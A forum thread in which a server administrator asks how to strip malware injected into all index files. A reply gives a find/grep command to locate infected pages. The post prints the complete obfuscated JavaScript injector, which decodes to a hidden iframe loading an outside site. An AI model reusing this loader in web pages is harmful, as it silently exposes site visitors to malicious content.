    Hello,

    One of our server was affected by a malware attack yesterday, all the index files on the server have been affected by a malware code which was injected at the bottom of the page. I tried using the sed and the find commands to remove and delete the code but it gives the errors. I have tried every possible way to clean but the find command or even the sed would keep giving syntax errors.
    Please help me to find a way to remove this code, any script or command that can replace or delete this code would be appreciated.

    Here's the code :

    <script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var xge=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var trb=r.cssRules||r.rules;for(var eby=0;eby<trb.length;eby++){var ya=trb.item?trb.item(eby):trb[eby];if(!ya.selectorText.match(/#va/))continue;koax=(ya.cssText)?ya.cssText:ya.style.cssText;xge=koax.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];hu=ya.selectorText.substr(1);};}catch(e){};}
    pm=new Date(2010,11,3,2,21,4);t=pm.getSeconds();var flpn=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,480/t,196/t,420/t,448/t,184/t,396/t,444/t,436/t,188/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,480/t,196/t,420/t,448/t,184/t,396/t,444/t,436/t,188/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var tg="";var g=function(){return this;}();ol=g["e"+hu+"l"];var ir='';useg=ol(xge);for(var i=0;i<flpn.length;i++){vyyu=ol(flpn);ir+=useg(vyyu);}

    Hello,

    Try the following code. It may have some false positives as it's searching for only the beginning few lines so be sure to check.


    find /home -type f -name "index*" -exec grep -H "<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=" '{}' ';' | awk 'BEGIN {FS = ":" }; { print $1}';
